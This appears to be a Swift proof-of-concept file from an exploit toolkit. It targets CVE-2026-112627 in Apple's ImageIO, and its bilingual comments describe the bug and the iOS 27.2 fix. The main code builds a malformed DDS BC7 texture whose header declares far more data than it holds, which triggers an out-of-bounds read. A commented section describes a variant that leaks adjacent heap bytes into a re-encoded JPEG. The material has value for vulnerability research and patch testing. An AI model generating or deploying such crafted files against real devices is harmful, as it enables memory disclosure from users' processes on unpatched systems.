Files

83 lines
4.2 KiB
Swift
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
// iio.dds.bc7 · ImageIO · BCReadPlugin::initialize · CVE-2026-112627
// 原语: OOB 读 · 进程内 · tier 2
// Primitive: OOB read · in-process · tier 2
//
// [zh] BC7 纹理 mip 截断
// 截断的 mip 层级在 27.0 仅产生一条 WARNING 后继续块解码,块解码器随即读到数据之外。27.2 将「零个完整 mip」变为硬错误,并补上 64 位 mip 尺寸运算与尺寸/数据量闸门。
//
// [en] BC7 texture mip truncation
// A truncated mip level produces only a WARNING on 27.0 and block decoding continues, so the block
// decoder reads past the data. iOS 27.2 turns "zero complete mips" into a hard error and adds 64-bit
// mip size arithmetic plus dimension and data-size gates.
// ── 判别 / oracle ──
// 512×512 BC7 需要 65536 字节,实际只给 64 字节。
// 变体 iio.appx: APP 标记越界读 → 泄露字节写进输出 JPEG
import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ──
enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
static func be32(_ v: UInt32) -> [UInt8] {
[UInt8(v >> 24 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 8 & 0xff), UInt8(v & 0xff)]
}
static func le32(_ v: UInt32) -> [UInt8] {
[UInt8(v & 0xff), UInt8(v >> 8 & 0xff), UInt8(v >> 16 & 0xff), UInt8(v >> 24 & 0xff)]
}
static func be64(_ v: UInt64) -> [UInt8] {
(0..<8).map { UInt8((v >> (56 - UInt64($0) * 8)) & 0xff) }
}
static func le64(_ v: UInt64) -> [UInt8] {
(0..<8).map { UInt8((v >> (UInt64($0) * 8)) & 0xff) }
}
static func both16(_ v: UInt16) -> [UInt8] { le16(v) + be16(v) }
static func both32(_ v: UInt32) -> [UInt8] { le32(v) + be32(v) }
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
}
/*
// iio.appx · ImageIO · _APPx::writeToStream · CVE-2026-112627 / 112561
// 原语: 信息泄露 · 进程内 · tier 1
// Primitive: info leak · in-process · tier 1
//
// [zh] APP 标记越界读 → 泄露字节写进输出 JPEG
// _APPx::writeToStream 在 27.0 将 (buffer + offset, length) 原样写入输出流,不含任何边界运算。当标记声明的长度超出实际块时,重编码路径会把堆上相邻字节直接写入产出的
// JPEG 文件 —— 泄露物即产物本身,不需要任何回传通道。27.2 计算 end − offset 并以 csel 钳制,超出时报 \"marker 0x%04X is out of bounds\"。
//
// [en] APP marker out-of-bounds read → leaked bytes written into the output JPEG
// _APPx::writeToStream on 27.0 writes (buffer + offset, length) straight to the output stream with
// no bounds arithmetic at all. When a marker declares a length beyond the actual block, the re-encode
// path writes adjacent heap bytes directly into the produced JPEG — the leak is the artifact itself,
// needing no exfiltration channel. iOS 27.2 computes end − offset and clamps with csel, reporting
// "marker 0x%04X is out of bounds" when it overruns.
*/
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (TexturePayload) ──
enum TexturePayload {
static func bc7Short(width: Int = 512, height: Int = 512, dataBytes: Int = 64) -> Data {
var out = Data("DDS ".utf8)
out.append(contentsOf: B.le32(124))
out.append(contentsOf: B.le32(0x00081007))
out.append(contentsOf: B.le32(UInt32(height)))
out.append(contentsOf: B.le32(UInt32(width)))
out.append(contentsOf: B.le32(0))
out.append(contentsOf: B.le32(0))
out.append(contentsOf: B.le32(1))
out.append(contentsOf: [UInt8](repeating: 0, count: 44))
out.append(contentsOf: B.le32(32))
out.append(contentsOf: B.le32(0x4))
out.append(contentsOf: B.ascii("DX10"))
out.append(contentsOf: [UInt8](repeating: 0, count: 20))
out.append(contentsOf: B.le32(0x1000))
out.append(contentsOf: B.le32(0) + B.le32(0) + B.le32(0) + B.le32(0))
// DX10 header — DXGI_FORMAT_BC7_UNORM = 98, TEXTURECUBE off, arraySize 1
out.append(contentsOf: B.le32(98) + B.le32(3) + B.le32(0) + B.le32(1) + B.le32(0))
out.append(contentsOf: [UInt8](repeating: 0, count: max(1, dataBytes)))
return out
}
}